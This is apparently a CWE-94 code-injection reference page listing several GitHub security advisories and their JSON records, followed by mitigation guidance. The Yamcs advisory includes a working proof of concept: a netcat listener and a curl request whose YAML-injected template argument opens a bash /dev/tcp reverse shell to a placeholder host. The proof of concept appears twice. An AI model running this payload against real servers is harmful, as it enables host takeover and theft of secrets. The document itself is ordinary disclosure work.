CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9449 vulnerabilities reference this CWE, most recent first.
GHSA-73FG-97P8-682Q
Vulnerability from github – Published: 2022-05-02 06:20 – Updated: 2025-04-11 03:35The Windows kernel-mode drivers in win32k.sys in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP2, Vista SP1 and SP2, Server 2008 Gold and SP2, Windows 7, and Server 2008 R2 allows local users to execute arbitrary code via vectors related to "glyph outline information" and TrueType fonts, aka "Win32k TrueType Font Parsing Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2010-1255"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-06-08T22:30:00Z",
"severity": "MODERATE"
},
"details": "The Windows kernel-mode drivers in win32k.sys in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP2, Vista SP1 and SP2, Server 2008 Gold and SP2, Windows 7, and Server 2008 R2 allows local users to execute arbitrary code via vectors related to \"glyph outline information\" and TrueType fonts, aka \"Win32k TrueType Font Parsing Vulnerability.\"",
"id": "GHSA-73fg-97p8-682q",
"modified": "2025-04-11T03:35:51Z",
"published": "2022-05-02T06:20:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1255"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-032"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A7283"
},
{
"type": "WEB",
"url": "http://www.opera.com/support/kb/view/954"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA10-159B.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-73GX-X7R9-77X2
Vulnerability from github – Published: 2025-02-26 20:07 – Updated: 2025-10-16 20:41Summary
This advisory addresses two critical security vulnerabilities present in Mautic versions before 5.2.3. These vulnerabilities could be exploited by authenticated users.
-
Remote Code Execution (RCE) via Asset Upload: A Remote Code Execution vulnerability has been identified in the asset upload functionality. Insufficient enforcement of allowed file extensions allows an attacker to bypass restrictions and upload executable files, such as PHP scripts.
-
Path Traversal File Deletion: A Path Traversal vulnerability exists in the upload validation process. Due to improper handling of path components, an authenticated user can manipulate the file deletion process to delete arbitrary files on the host system.
Mitigation
Please update to 5.2.3 or later.
Workarounds
None
References
https://owasp.org/www-community/attacks/Code_Injection https://owasp.org/www-community/attacks/Path_Traversal
If you have any questions or comments about this advisory:
Email us at security@mautic.org
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "mautic/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47051"
],
"database_specific": {
"cwe_ids": [
"CWE-23",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-26T20:07:45Z",
"nvd_published_at": "2025-02-26T13:15:39Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThis advisory addresses two critical security vulnerabilities present in Mautic versions before 5.2.3. These vulnerabilities could be exploited by authenticated users.\n\n* **Remote Code Execution (RCE) via Asset Upload:** A Remote Code Execution vulnerability has been identified in the asset upload functionality. Insufficient enforcement of allowed file extensions allows an attacker to bypass restrictions and upload executable files, such as PHP scripts.\n\n* **Path Traversal File Deletion:** A Path Traversal vulnerability exists in the upload validation process. Due to improper handling of path components, an authenticated user can manipulate the file deletion process to delete arbitrary files on the host system. \n \n### Mitigation\nPlease update to 5.2.3 or later.\n\n### Workarounds\nNone\n\n### References\nhttps://owasp.org/www-community/attacks/Code_Injection\nhttps://owasp.org/www-community/attacks/Path_Traversal\n\nIf you have any questions or comments about this advisory:\n\nEmail us at [security@mautic.org](mailto:security@mautic.org)",
"id": "GHSA-73gx-x7r9-77x2",
"modified": "2025-10-16T20:41:27Z",
"published": "2025-02-26T20:07:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mautic/mautic/security/advisories/GHSA-73gx-x7r9-77x2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47051"
},
{
"type": "WEB",
"url": "https://github.com/mautic/mautic/commit/75bc488ce98b9c8ec01114984049fc1c42c0cae5"
},
{
"type": "PACKAGE",
"url": "https://github.com/mautic/mautic"
},
{
"type": "WEB",
"url": "https://owasp.org/www-community/attacks/Code_Injection"
},
{
"type": "WEB",
"url": "https://owasp.org/www-community/attacks/Path_Traversal"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Mautic allows Remote Code Execution and File Deletion in Asset Uploads"
}
GHSA-73HP-3M9V-H54H
Vulnerability from github – Published: 2025-04-24 03:31 – Updated: 2025-10-22 00:33Brocade Fabric OS versions starting with 9.1.0 have root access removed, however, a local user with admin privilege can potentially execute arbitrary code with full root privileges on Fabric OS versions 9.1.0 through 9.1.1d6.
{
"affected": [],
"aliases": [
"CVE-2025-1976"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-24T03:15:14Z",
"severity": "HIGH"
},
"details": "Brocade Fabric OS versions starting with 9.1.0 have root access removed, however, a local user with admin privilege can potentially execute arbitrary code with full root privileges on Fabric OS versions 9.1.0 through 9.1.1d6.",
"id": "GHSA-73hp-3m9v-h54h",
"modified": "2025-10-22T00:33:17Z",
"published": "2025-04-24T03:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1976"
},
{
"type": "WEB",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/25602"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-1976"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-73M4-W6C9-GPQF
Vulnerability from github – Published: 2022-05-01 06:39 – Updated: 2022-05-01 06:39Unspecified vulnerability in Safari, LaunchServices, and/or CoreTypes in Apple Mac OS X 10.4 up to 10.4.5 allows attackers to trick a user into opening an application that appears to be a safe file type. NOTE: due to the lack of specific information in the vendor advisory, it is not clear how CVE-2006-0397, CVE-2006-0398, and CVE-2006-0399 are different.
{
"affected": [],
"aliases": [
"CVE-2006-0398"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-03-14T11:02:00Z",
"severity": "HIGH"
},
"details": "Unspecified vulnerability in Safari, LaunchServices, and/or CoreTypes in Apple Mac OS X 10.4 up to 10.4.5 allows attackers to trick a user into opening an application that appears to be a safe file type. NOTE: due to the lack of specific information in the vendor advisory, it is not clear how CVE-2006-0397, CVE-2006-0398, and CVE-2006-0399 are different.",
"id": "GHSA-73m4-w6c9-gpqf",
"modified": "2022-05-01T06:39:32Z",
"published": "2022-05-01T06:39:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-0398"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/25269"
},
{
"type": "WEB",
"url": "http://docs.info.apple.com/article.html?artnum=303453"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2006/Mar/msg00001.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/19129"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1015760"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/23870"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/0949"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-73MF-M39P-WPM9
Vulnerability from github – Published: 2026-08-28 17:23 – Updated: 2026-08-28 17:23Summary
templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.
Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.
Details
VarStatement appends arg values with no escaping:
// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29
buf.append(value);
The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.
Request to exec:
InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances)
→ YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs))
→ rendered config loaded as YConfiguration
→ YamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader)
→ org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).
createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.
A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.
PoC
Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".
Listener:
nc -lvnp 4444
Request (set <LHOST> / <LPORT> to the listener):
curl -i -X POST http://<target>:8090/api/instances \
-H 'Content-Type: application/json' \
-d '{
"name": "pwned",
"template": "example",
"templateArgs": {
"spaceSystem": "x\"\nservices:\n - class: org.yamcs.ProcessRunner\n args:\n command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
"bar": "Option 2"
}
}'
Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".
With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.
Impact
Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.
It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.13.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.13.0"
},
{
"fixed": "5.13.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.12.7"
},
"package": {
"ecosystem": "Maven",
"name": "org.yamcs:yamcs-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.12.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55559"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-470",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T17:23:04Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\n`templateArgs` sent to `POST /api/instances` (and `PATCH /api/instances/{instance}`) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each `services:` entry by its `class:`, so injecting YAML through a template arg lets you add a `services:` entry for `org.yamcs.ProcessRunner` and run a command on the host. The args aren\u0027t escaped for YAML or validated server-side.\n\nNeeds the `CreateInstances` privilege. With no `security.yaml` the `guest` user is `superuser=true` and the API is unauthenticated, so it\u0027s reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn\u0027t touch this path.\n\n### Details\n\n`VarStatement` appends arg values with no escaping:\n\n```java\n// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29\nbuf.append(value);\n```\n\nThe only filter, `EscapeFilter`, does HTML escaping (`\u0026 \u003c \u003e \u0027 \"`) and leaves newlines, colons and indentation alone, so `{{ x | escape }}` doesn\u0027t help either. `InstancesApi.createInstance` forwards the args without checking them against the declared variables; the `choices` / `required` metadata is only used to render the web form.\n\nRequest to exec:\n`InstancesApi.createInstance` (`http/api/InstancesApi.java:169`, checks `CreateInstances`)\n\u2192 `YamcsServer.createInstance` (`YamcsServer.java:651`, `template.process(templateArgs)`)\n\u2192 rendered config loaded as `YConfiguration`\n\u2192 `YamcsServerInstance` instantiates `services:` by `class:` (`YamcsServerInstance.java:75,88`, via `YObjectLoader`)\n\u2192 `org.yamcs.ProcessRunner` runs `new ProcessBuilder(command).start()` (`ProcessRunner.java:81-82`).\n\n`createInstance` has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (`ServicesApi` only starts/stops existing ones), so the template arg is the only way in.\n\nA fix would be to validate `templateArgs` (reject newlines / control characters, enforce the declared `choices` / `required`) and/or escape substituted values for the YAML context.\n\n### PoC\n\nRun the shipped example: `./run-example.sh templates`. It serves `HttpServer` on 8090 with no `security.yaml`, so guest is superuser and the API is unauthenticated. Its `example` template puts `{{ spaceSystem }}` into `name: \"...\"`.\n\nListener:\n\n```\nnc -lvnp 4444\n```\n\nRequest (set `\u003cLHOST\u003e` / `\u003cLPORT\u003e` to the listener):\n\n```bash\ncurl -i -X POST http://\u003ctarget\u003e:8090/api/instances \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"name\": \"pwned\",\n \"template\": \"example\",\n \"templateArgs\": {\n \"spaceSystem\": \"x\\\"\\nservices:\\n - class: org.yamcs.ProcessRunner\\n args:\\n command: [\\\"bash\\\", \\\"-c\\\", \\\"exec 3\u003c\u003e/dev/tcp/\u003cLHOST\u003e/\u003cLPORT\u003e; sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\\\"]\\n#\",\n \"bar\": \"Option 2\"\n }\n }\u0027\n```\n\nReturns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (`id` shows the service account). The arg closes the `name: \"...\"` quote, adds a top-level `services:` (which overrides the template\u0027s `services: []`, last key wins in SnakeYAML), and ends with `#` to comment out the trailing `\"`.\n\nWith `security.yaml` it\u0027s the same request with a bearer token. This works for a user whose only privilege is `CreateInstances`: that user gets 403 (`Missing system privilege \u0027ChangeMissionDatabase\u0027`) on the algorithm-override path but 200 here.\n\n### Impact\n\nCommand execution as the Yamcs service account. That includes reading `secretKey` from `etc/yamcs.yaml` (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.\n\nIt needs `CreateInstances`, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn\u0027t have a shell, or that runs without `security.yaml`, this is host takeover from the API.",
"id": "GHSA-73mf-m39p-wpm9",
"modified": "2026-08-28T17:23:04Z",
"published": "2026-08-28T17:23:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/549f295cf8c5496a5e799d6bec2432ef976c82aa"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/commit/7192da1c49bdf5ab1d72e579a47766a7c43e87c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/yamcs/yamcs"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8"
},
{
"type": "WEB",
"url": "https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)"
}
GHSA-73P2-RXRX-HCJH
Vulnerability from github – Published: 2022-05-17 05:46 – Updated: 2022-05-17 05:46CRLF injection vulnerability in TransWARE Active! mail 6 build 6.40.010047750 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2010-3913"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-11-05T17:00:00Z",
"severity": "MODERATE"
},
"details": "CRLF injection vulnerability in TransWARE Active! mail 6 build 6.40.010047750 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.",
"id": "GHSA-73p2-rxrx-hcjh",
"modified": "2022-05-17T05:46:52Z",
"published": "2022-05-17T05:46:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-3913"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN72541530/index.html"
},
{
"type": "WEB",
"url": "http://jvndb.jvn.jp/en/contents/2010/JVNDB-2010-000050.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/42039"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/68943"
},
{
"type": "WEB",
"url": "http://www.transware.co.jp/security/am0610001.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-73QH-76HJ-PM8J
Vulnerability from github – Published: 2022-05-02 03:29 – Updated: 2022-05-02 03:29js/src/xpconnect/src/xpcwrappedjsclass.cpp in Mozilla Firefox before 3.0.11, Thunderbird before 2.0.0.22, and SeaMonkey before 1.1.17 allows remote attackers to execute arbitrary web script with the privileges of a chrome object, as demonstrated by the browser sidebar and the FeedWriter.
{
"affected": [],
"aliases": [
"CVE-2009-1841"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-06-12T21:30:00Z",
"severity": "HIGH"
},
"details": "js/src/xpconnect/src/xpcwrappedjsclass.cpp in Mozilla Firefox before 3.0.11, Thunderbird before 2.0.0.22, and SeaMonkey before 1.1.17 allows remote attackers to execute arbitrary web script with the privileges of a chrome object, as demonstrated by the browser sidebar and the FeedWriter.",
"id": "GHSA-73qh-76hj-pm8j",
"modified": "2022-05-02T03:29:07Z",
"published": "2022-05-02T03:29:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1841"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=479560"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=503583"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A9815"
},
{
"type": "WEB",
"url": "https://rhn.redhat.com/errata/RHSA-2009-1095.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-July/msg00444.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-July/msg00504.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-June/msg00574.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2009-June/msg00657.html"
},
{
"type": "WEB",
"url": "http://osvdb.org/55159"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2009-1096.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35331"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35415"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35428"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35431"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35439"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35440"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35468"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35536"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35561"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35602"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35882"
},
{
"type": "WEB",
"url": "http://slackware.com/security/viewer.php?l=slackware-security\u0026y=2009\u0026m=slackware-security.372468"
},
{
"type": "WEB",
"url": "http://slackware.com/security/viewer.php?l=slackware-security\u0026y=2009\u0026m=slackware-security.425408"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-66-264308-1"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2009/dsa-1820"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2009/dsa-1830"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2009:141"
},
{
"type": "WEB",
"url": "http://www.mozilla.org/security/announce/2009/mfsa2009-32.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/35326"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/35373"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1022397"
},
{
"type": "WEB",
"url": "http://www.slackware.com/security/viewer.php?l=slackware-security\u0026y=2009\u0026m=slackware-security.454275"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/usn-782-1"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1572"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7422-RHQ7-3WFJ
Vulnerability from github – Published: 2025-07-25 18:30 – Updated: 2026-02-25 18:31An issue in Gardyn 4 allows a remote attacker to obtain sensitive information and execute arbitrary code via the Gardyn Home component
{
"affected": [],
"aliases": [
"CVE-2025-29629"
],
"database_specific": {
"cwe_ids": [
"CWE-1392",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-25T17:15:31Z",
"severity": "HIGH"
},
"details": "An issue in Gardyn 4 allows a remote attacker to obtain sensitive information and execute arbitrary code via the Gardyn Home component",
"id": "GHSA-7422-rhq7-3wfj",
"modified": "2026-02-25T18:31:27Z",
"published": "2025-07-25T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29629"
},
{
"type": "WEB",
"url": "https://github.com/mselbrede/gardyn/blob/main/CVE-2025-29629.md"
},
{
"type": "WEB",
"url": "https://mygardyn.com/blog/security-update"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-055-03"
},
{
"type": "WEB",
"url": "http://gardyn.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-742C-CQ8P-VCG6
Vulnerability from github – Published: 2022-05-13 01:39 – Updated: 2025-04-11 03:55DBServer.exe in HP Data Protector Media Operations 6.11 and earlier allows remote attackers to execute arbitrary code via a crafted request containing a large value in a length field.
{
"affected": [],
"aliases": [
"CVE-2011-4791"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-02-03T04:05:00Z",
"severity": "HIGH"
},
"details": "DBServer.exe in HP Data Protector Media Operations 6.11 and earlier allows remote attackers to execute arbitrary code via a crafted request containing a large value in a length field.",
"id": "GHSA-742c-cq8p-vcg6",
"modified": "2025-04-11T03:55:10Z",
"published": "2022-05-13T01:39:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4791"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/521472"
},
{
"type": "WEB",
"url": "http://zerodayinitiative.com/advisories/ZDI-11-112"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-744J-F9R9-W6H7
Vulnerability from github – Published: 2025-03-07 18:31 – Updated: 2025-03-07 18:31An improper neutralization of CRLF sequences ('CRLF Injection') vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained administrator access to modify application data.
We have already fixed the vulnerability in the following versions: QTS 5.2.3.3006 build 20250108 and later QuTS hero h5.2.3.3006 build 20250108 and later
{
"affected": [],
"aliases": [
"CVE-2024-50405"
],
"database_specific": {
"cwe_ids": [
"CWE-93",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-07T17:15:19Z",
"severity": "MODERATE"
},
"details": "An improper neutralization of CRLF sequences (\u0027CRLF Injection\u0027) vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained administrator access to modify application data.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.3.3006 build 20250108 and later\nQuTS hero h5.2.3.3006 build 20250108 and later",
"id": "GHSA-744j-f9r9-w6h7",
"modified": "2025-03-07T18:31:06Z",
"published": "2025-03-07T18:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50405"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-54"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
